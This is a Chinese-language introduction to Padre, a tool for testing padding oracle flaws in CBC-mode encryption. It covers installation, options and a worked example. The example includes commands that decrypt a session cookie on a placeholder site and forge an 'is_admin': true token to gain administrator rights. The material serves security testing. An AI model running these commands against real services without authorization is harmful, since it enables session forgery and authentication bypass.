如何使用Padre对CBC模式加密执行Padding Oracle测试

关于Padre

Padre是一款功能强大的高级Padding Oracle安全测试工具，在该工具的帮助下，广大研究人员可以轻松针对CBC模式加密执行Padding Oracle攻击测试，以审查和测试目标加密模式的安全性。

关于Padding Oracle

Padding的含义是“填充”，在解密时，如果算法发现解密后得到的结果，它的填充方式不符合规则，那么表示输入数据有问题，对于解密的类库来说，往往便会抛出一个异常，提示Padding不正确。Oracle在这里便是“提示”的意思，和甲骨文公司没有任何关系。

对于加密算法来说，它们是基于等长的“数据块”进行操作的（如对于RC2，DES或TripleDES算法来说这个长度是8字节，而对于Rijndael算法来说则是16、24或32字节）。但是，我们的输入数据长度是不规则的，因此必然需要进行“填充”才能形成完整的“块”。

功能介绍

1、运行速度快，支持并行并发；

2、支持令牌解密；

3、支持加密任意数据；

4、Padding Oracle自动化指纹；

5、密码块长度自动化检测；

6、如果在操作过程中出现错误故障，Padre将提供可行的解决方案建议；

7、支持GET/POST参数和Cookie中的令牌；

8、灵活的编码规则与规范（Base64、Hex等）；

Padding Oracle攻击影响

1、泄露加密会话信息；

2、身份认证绕过；

3、提供服务器端信任的伪造令牌；

4、其他广泛的攻击面；

工具安装

方便起见，广大研究人员可以直接访问该项目的【Releases页面】下载对应操作系统版本的预编译Padre代码。

除此之外，我们也可以在本地设备上安装并配置好Go语言环境，并使用源码构建Padre：

go install github.com/glebarez/padre@latest

工具使用

Usage: padre [OPTIONS] [INPUT]

 

INPUT:

解密模式：输入加密数据

加密模式：输入要加密的明文数据

如果不提供，则从STDIN读取

 

NOTE: binary data is always encoded in HTTP. Tweak encoding rules if needed (see options: -e, -r)

 

OPTIONS:

 

-u *required*

目标URL，使用$字符定义令牌占位符

-enc

加密模式

-err

正则表达式模式，HTTP响应Body将于该正则表达式匹配以检测Padding Oracle，不提供则执行自动化指纹检测；

-e

编码二进制数据，支持的值有Base64和LHex，默认为Base64；

-cookie

在HTTP请求中设置的Cookie值，使用$可标记令牌占位符；

-post

执行POST请求的字符串数据，使用$可标记令牌占位符；

-ct

POST请求的Content-Type。如果不指定，工具将自动检测Content-Type

-b

密码块长度，不提供该参数则执行自动化检测，支持的值有8、16、32，默认为16；

-p

与目标服务器建立的并行HTTP连接数量 [1-256]，默认为30；

-proxy

HTTP代理。例如use -proxy "http://localhost:8080"可使用Burp或ZAP做代理；

工具使用场景

如果我们找到了一个可疑的Padding Oracle，并且加密数据存储在一个名为SESS的Cookie中，我们就可以使用下列命令来执行Padre：

padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='

如果确定了Padding Oracle上下文，那么Padre将会自动检测HTTP响应指纹，如果服务器确实存在安全漏洞，工具将会把提供的令牌解密为下列形式：

{"user_id": 456, "is_admin": false}

这样一来，我们就可以实现权限提升了。

我们还可以尝试先生成我们自己的加密数据，然后解密回明文数据：

padre -u 'https://target.site/profile.php' -cookie 'SESS=$' -enc '{"user_id": 456, "is_admin": true}'

上述命令将生成另一个加密数据集，大致形式如下（Base64）：

dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=

现在我们就可以打开浏览器，然后将SESS Cookie值设置成上面的加密数据，然后加载原始的Oracle页面，你将会看到你的权限提升至了管理员权限。

工具使用演示

许可证协议

本项目的开发与发布遵循MIT开源许可证协议。

项目地址

Padre：【GitHub传送门】

参考资料

https://blog.skullsecurity.org/2013/a-padding-oracle-example

https://blog.skullsecurity.org/2016/going-the-other-way-with-padding-oracles-encrypting-arbitrary-data